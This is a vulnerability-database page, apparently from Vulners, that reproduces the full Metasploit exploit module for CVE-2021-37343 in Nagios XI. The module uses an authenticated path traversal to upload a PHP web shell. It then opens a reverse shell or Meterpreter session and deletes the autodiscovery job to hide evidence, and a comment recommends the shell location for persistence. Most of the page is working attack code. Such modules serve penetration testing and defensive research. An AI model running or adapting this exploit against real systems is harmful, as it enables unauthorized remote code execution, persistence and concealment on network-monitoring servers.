Lucene search
K

Nagios XI Autodiscovery Webshell Upload

🗓️ 12 Feb 2022 17:42:30Reported by Claroty Team82, jbaines-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 322 Views

Nagios XI before version 5.8.5 Path Traversal Autodiscovery Webshell Uploa

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Nagios XI Autodiscovery Shell Upload Exploit
14 Feb 202200:00
zdt
ATTACKERKB
CVE-2021-37343
13 Aug 202112:15
attackerkb
Circl
CVE-2021-37343
26 Mar 202123:19
circl
CNNVD
Nagios XI 路径遍历漏洞
13 Aug 202100:00
cnnvd
CNVD
Nagios XI path traversal vulnerability
16 Aug 202100:00
cnvd
CVE
CVE-2021-37343
13 Aug 202111:32
cve
Cvelist
CVE-2021-37343
13 Aug 202111:32
cvelist
Metasploit
Nagios XI Scanner
27 Mar 202117:42
metasploit
Tenable Nessus
Nagios XI < 5.8.5 Multiple Vulnerabilities
24 Sep 202100:00
nessus
NVD
CVE-2021-37343
13 Aug 202112:15
nvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::NagiosXi
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI Autodiscovery Webshell Upload',
        'Description' => %q{
          This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).
          The path traversal allows a remote and authenticated administrator to upload a PHP web shell
          and execute code as `www-data`. The module achieves this by creating an autodiscovery job
          with an `id` field containing a path traversal to a writable and remotely accessible directory,
          and `custom_ports` field containing the web shell. A cron file will be created using the chosen
          path and file name, and the web shell is embedded in the file.

          After the web shell has been written to the victim, this module will then use the web shell to
          establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by
          the module, and the autodiscovery job is removed as well.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Claroty Team82', # vulnerability discovery
          'jbaines-r7' # metasploit module
        ],
        'References' => [
          ['CVE', '2021-37343'],
          ['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/']
        ],
        'DisclosureDate' => '2021-07-15',
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              },
              'Payload' => {
                'Append' => '& disown'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'printf' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]),
      OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]),
      OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
      OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
    ]

    @webshell_uri = '/includes/components/highcharts/exporting-server/temp/'
    @webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/'
  end

  # Authenticate and grab the version from the dashboard. Store auth cookies for later user.
  def check
    auth_result, err_msg, @auth_cookies, @version = authenticate(datastore['USERNAME'], datastore['PASSWORD'], false, false, false)
    case auth_result
    when AUTH_RESULTS[:connection_failed]
      return CheckCode::Unknown(err_msg)
    when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
      return CheckCode::Detected(err_msg)
    when AUTH_RESULTS[:not_nagios_application]
      return CheckCode::Safe(err_msg)
    end

    # affected versions are 5.2.0 -> 5.8.4
    if @version < Rex::Version.new('5.8.5') &&
       @version >= Rex::Version.new('5.2.0')
      return CheckCode::Appears("Determined using the self-reported version: #{@version.version}")
    end

    CheckCode::Safe("Determined using the self-reported version: #{@version.version}")
  end

  # Using the path traversal, upload a php webshell to the remote target
  def drop_webshell
    autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/')
    print_status("Attempting to grab a CSRF token from #{autodisc_uri}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => autodisc_uri,
      'cookie' => @auth_cookies,
      'vars_get' => {
        'mode' => 'newjob'
      }
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
    fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')

    # snag the nsp token from the response
    nsp = get_nsp(res)
    fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?

    # drop a basic web shell on the server
    webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
    print_status("Uploading webshell to #{webshell_location}")
    php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
    payload = 'update=1&' \
      "job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&" \
      "nsp=#{nsp}&" \
      'address=127.0.0.1%2F0&' \
      'frequency=Yearly&' \
      "custom_ports=#{php_webshell}&"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => autodisc_uri,
      'cookie' => @auth_cookies,
      'vars_get' => {
        'mode' => 'newjob'
      },
      'data' => payload
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302

    # Test the web shell installed by echoing a random string and ensure it appears in the res.body
    print_status('Testing if web shell installation was successful')
    rand_data = Rex::Text.rand_text_alphanumeric(16..32)
    res = execute_via_webshell("echo #{rand_data}")
    fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
    print_good("Web shell installed at #{webshell_location}")

    # This is a great place to leave a web shell for persistence since it doesn't require auth
    # to touch it. By default, we'll clean this up but the attacker has to option to leave it
    if datastore['DELETE_WEBSHELL']
      register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
    end
  end

  # Successful exploitation creates a new job in the autodiscovery view. This function deletes
  # the job that there is no evidence of exploitation in the UI.
  def cleanup_job
    print_status('Deleting autodiscovery job')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'),
      'cookie' => @auth_cookies,
      'vars_get' => {
        'mode' => 'deletejob',
        'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
      }
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
  end

  # Executes commands via the uploaded webshell
  def execute_via_webshell(cmd)
    cmd = Rex::Text.uri_encode(cmd)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
    res
  end

  def execute_command(cmd, _opts = {})
    execute_via_webshell(cmd)
  end

  def exploit
    # create a randomish web shell name if the user doesn't specify one
    @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
    unless @auth_cookies.present?
      auth_result, err_msg, @auth_cookies, @version = authenticate(datastore['USERNAME'], datastore['PASSWORD'], false, false, false)
      case auth_result
      when AUTH_RESULTS[:connection_failed]
        return CheckCode::Unknown(err_msg)
      when AUTH_RESULTS[:unexpected_error], AUTH_RESULTS[:not_fully_installed], AUTH_RESULTS[:failed_to_handle_license_agreement], AUTH_RESULTS[:failed_to_extract_tokens], AUTH_RESULTS[:unable_to_obtain_version]
        return CheckCode::Detected(err_msg)
      when AUTH_RESULTS[:not_nagios_application]
        return CheckCode::Safe(err_msg)
      end
    end

    drop_webshell

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  ensure
    cleanup_job
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Apr 2026 19:01Current
9.1High risk
Vulners AI Score9.1
CVSS 26.5
CVSS 3.18.8
EPSS0.2382
322